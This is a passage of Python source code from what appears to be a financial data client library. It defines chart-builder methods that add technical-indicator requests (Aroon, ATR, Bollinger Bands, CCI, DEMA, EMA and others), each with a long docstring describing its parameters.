stock, forex or cryptocurrency. E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param fast_period: Number of periods for fast moving average. Must be at least 1 :param slow_period: Number of periods for slow moving average. Must be at least 1 :param ma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = APOEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, fast_period=fast_period, slow_period=slow_period, ma_type=ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_aroon( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of AROON to chart builder Aroon Indicator(AROON) is used to identify if the price is trending. It can also spot beginning of new trend and it's strength. This API call returns meta and time series values of AROON. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = AROONEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_aroonosc( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of AROONOSC to chart builder Aroon Oscillator(AROONOSC) uses classic Aroon(Aroon Up and Aroon down) to measure the strength of persisting trend and it's chances to persist. This API call returns meta and time series values of AROONOSC. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = AROONOSCEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_atr( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ATR to chart builder Average True Range(ATR) is used to measure market volatility by decomposing all asset prices over specified time period. This API call returns meta and time series values of ATR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ATREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_avgprice( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of AVGPRICE to chart builder Average Price(AVGPRICE) uses formula: (open + high + low + close) / 4. This API call returns meta and time series values of AVGPRICE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = AVGPRICEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_bbands( self, exchange=None, country=None, series_type="close", time_period=20, sd="2", ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of BBANDS to chart builder Bollinger Bands(BBANDS) are volatility bands located above and below a moving average. Volatility size parameter depends on standard deviation. This API call returns meta and time series values of BBANDS. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param sd: Number of standard deviations. Must be at least 1 :param ma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = BBANDSEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, sd=sd, ma_type=ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_percent_b( self, exchange=None, country=None, series_type="close", time_period=20, sd="2", ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Creates request builder for %B %B Indicator(%B) measures position of an asset price relative to upper and lower Bollinger Bands. This API call returns meta and time series values of %B. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param sd: Number of standard deviations. Must be at least 1 :param ma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = PercentBEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, sd=sd, ma_type=ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_pivot_points_hl( self, exchange=None, country=None, time_period=10, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Creates request builder for Pivot Points (High/Low) Pivot Points (High/Low) (PIVOT_POINTS_HL) are typically used to foresee potential price reversals. This API call returns meta and time series values of PIVOT_POINTS_HL. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time descending updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = PivotPointsHLEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_bop( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of BOP to chart builder Balance Of Power(BOP) measures relative strength between buyers and sellers by assessing the ability of move price to an extreme level. This API call returns meta and time series values of BOP. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = BOPEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_cci( self, exchange=None, country=None, time_period=20, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of CCI to chart builder Commodity Channel Index(CCI) is a universal indicator that can help to identify new trend and assess current critical conditions. This API call returns meta and time series values of CCI. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = CCIEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ceil( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of CEIL to chart builder Vector CEIL(CEIL) transform input data with mathematical ceil function. This API call returns meta and time series values of CEIL. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = CEILEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_cmo( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of CMO to chart builder Chande Momentum Oscillator(CMO) is used to show overbought and oversold conditions. This API call returns meta and time series values of CMO. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = CMOEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_coppock( self, exchange=None, country=None, series_type="close", long_roc_period=14, short_roc_period=11, wma_period=10, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of COPPOCK to chart builder Coppock Curve(COPPOCK) is usually used to detect long-term trend changes, typically on monthly charts. This API call returns meta and time series values of CMO. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param long_roc_period: Number of periods for long term rate of change. Takes values in the range from 1 to 500 :param short_roc_period: Number of periods for short term rate of change. Takes values in the range from 1 to 500 :param wma_period: Number of periods for weighted moving average. Takes values in the range from 1 to 500 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = COPPOCKEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, long_roc_period=long_roc_period, short_roc_period=short_roc_period, wma_period=wma_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ceil( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of CEIL to chart builder Vector CEIL(CEIL) transform input data with mathematical ceil function. This API call returns meta and time series values of CEIL. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = CEILEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_dema( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of DEMA to chart builder Double Exponential Moving Average(DEMA) it used to eliminate lag. It does this by taking two Exponential Moving Averages(EMA)). This API call returns meta and time series values of DEMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = DEMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_dx( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of DX to chart builder Directional Movement Index(DX) identifies in which direction the price is moving. This API call returns meta and time series values of DX. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = DXEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ema( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of EMA to chart builder Exponential Moving Average(EMA) it places greater importance on recent data points than the normal Moving Average(MA). This API call returns meta and time series values of EMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = EMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_exp( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of EXP to chart builder Exponential(EXP) transform input data with mathematical exponent function. This API call returns meta and time series values of EXP. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = 